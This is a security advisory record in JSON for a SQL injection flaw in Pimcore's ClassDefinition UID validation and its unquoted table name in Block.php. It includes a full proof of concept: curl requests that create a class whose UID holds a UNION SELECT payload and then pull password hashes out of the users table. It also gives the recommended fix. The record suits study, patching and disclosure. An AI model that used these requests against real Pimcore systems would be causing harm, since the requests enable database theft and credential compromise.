{"id":"CVE-2026-55072","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55072","summary":"Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name","details":"### Summary\nA missing end anchor (`$`) in the ClassDefinition UID validation regex allows an authenticated user with the `objects` permission to create a class with a malicious UID containing SQL. When a data object of that class is later loaded, Block.php concatenates the raw classId directly into a SQL query without quoting, executing the injected payload. This is an incomplete fix from commit `dbe1d131e4` which added a leading `^` anchor but omitted the trailing `$`.\n\n### Details\n### 1. Missing end anchor in ClassDefinition UID validation\n\n`models/DataObject/ClassDefinition.php` lines 1148-1154:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w+/', $this->getName())) {\n    throw new Exception(sprintf('Invalid name for class definition: %s', $this->getName()));\n}\n\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {\n    throw new Exception(sprintf('Invalid ID `%s` for class definition %s', $this->getId(), $this->getName()));\n}\n```\n\nBoth patterns are missing a trailing `$` anchor. Without it, `preg_match` only checks that the string STARTS with a valid identifier — it does not assert end-of-string. A UID of `1 UNION SELECT password FROM users-- ` passes because the regex matches `1` at the start and ignores the rest.\n\nCompare with the correct pattern used by Fieldcollection in `models/DataObject/Fieldcollection/Definition.php` line 268:\n\n```php\nif (!preg_match('/^[a-zA-Z]\\w*$/', $key)) {   // has $ — correct\n    return true;\n}\n```\n\n\n### 3. Unquoted classId concatenation in Block.php\n\n`models/DataObject/ClassDefinition/Data/Block.php` line 735:\n\n```php\n$query = 'select ' . $db->quoteIdentifier($field) . ' from object_store_' . $object->getClassId() . ' where oo_id  = ' . $object->getId();\n```\n\n`$object->getClassId()` returns the raw stored classId with no quoting. This same unquoted pattern repeats on lines 744, 746, 748, 759, and 771 for objectbrick, fieldcollection, and localized field contexts.\n\nCompare with `models/DataObject/ClassDefinition/Dao.php` line 108-113 which correctly wraps the table name:\n\n```php\n$objectDatastoreTable = 'object_store_' . $this->model->getId();\n$qObjectDatastoreTable = $this->db->quoteIdentifier($objectDatastoreTable);\n```\n\nDao.php was hardened in commit `dbe1d131e4` but Block.php was not.\n\n\n### PoC\n**Prerequisites:**\n- Pimcore 2026.1.x with Studio API enabled\n- A user `lowpriv` with only the `objects` permission\n\n**Step 1 — Authenticate as lowpriv and save the session cookie:**\n\n```bash\ncurl -s -c /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"lowpriv\",\"password\":\"password\"}'\n```\n\nExpected response:\n```json\n{\"message\": \"Login successful\"}\n```\n\n**Step 2 — Create a ClassDefinition with a malicious UID:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"PocClass\",\"uid\":\"1 UNION SELECT password,NULL FROM users-- \"}'\n```\n\nExpected response: class definition created successfully. The UID passes the broken regex because `preg_match('/^[a-zA-Z0-9 ([a-zA-Z0-9_]+)?/', '1 UNION SELECT...')` matches `1` at the start and returns true. No exception is thrown.\n\nThe bypass can be verified independently in any PHP sandbox:\n\n```php\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- '));\n// int(1) — PASSES, no exception thrown\n\nvar_dump(preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', '1 UNION SELECT password FROM users-- '));\n// int(0) — BLOCKED, correct behavior with $ anchor\n```\n\n**Step 3 — Add a Block field to the malicious class (via the class editor UI or API)**\n\nIn the Pimcore Studio UI, open `PocClass`, add a field of type `Block`, name it `myblock`, and save the class.\n\n**Step 4 — Create a data object of the malicious class:**\n\n```bash\ncurl -s -b /tmp/cookies.txt -X POST \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"className\":\"PocClass\",\"parentId\":1,\"key\":\"poc-object\"}'\n```\n\nNote the returned object ID (e.g. `42`).\n\n**Step 5 — Fetch the data object to trigger Block.php:735:**\n\n```bash\ncurl -s -b /tmp/cookies.txt \\\n  \"https://your-pimcore/pimcore-studio/api/data-objects/42\"\n```\n\nWhen the object loads, `Block::load()` executes:\n\n```sql\nSELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users--\nWHERE oo_id = 42\n```\n\nThe `-- ` comment discards the WHERE clause. MySQL executes the UNION and returns password hashes from the `users` table in the Block field value of the response.\n\n**Expected response (vulnerable):**\n\nThe `myblock` field value in the response contains rows from the `users` table including password hashes.\n\n**Expected response (patched):**\n\nStep 2 fails with a validation exception — the UID is rejected before the class is created.\n\n**Recommended fix:**\n\nAdd trailing `$` anchors to both regex patterns in `ClassDefinition.php`:\n\n```php\n// Before (vulnerable)\nif (!preg_match('/^[a-zA-Z]\\w+/', $this->getName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $this->getId())) {\n\n// After (correct)\nif (!preg_match('/^[a-zA-Z]\\w+$/', $this->getName())) {\nif (!preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?$/', $this->getId())) {\n```\n\nAdditionally, wrap `$object->getClassId()` in `$db->quoteIdentifier()` in `Block.php` lines 735, 744, 746, 748, 759, and 771, consistent with how `Dao.php` handles the same value.\n\n### Impact\nAn authenticated user with the `objects` permission can inject arbitrary SQL that executes when any data object of the malicious class is loaded. This allows exfiltration of any table in the Pimcore database, including the `users` table containing password hashes, using a UNION-based injection. The `objects` permission is a standard editor-level permission, not an admin privilege.","published":"2026-08-13T13:44:24Z","modified":"2026-08-13T14:00:11.030630694Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"2026.1.5"},{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"12.3.9"}],"fix":{"url":"https://github.com/pimcore/pimcore/commit/33a0e1887e1e31b4283b016ac5440c35ea5697b4","label":"pimcore/pimcore@33a0e18"},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-2mhj-fhvg-v428"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/commit/33a0e1887e1e31b4283b016ac5440c35ea5697b4"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-13T14:00:11.030630694Z"}}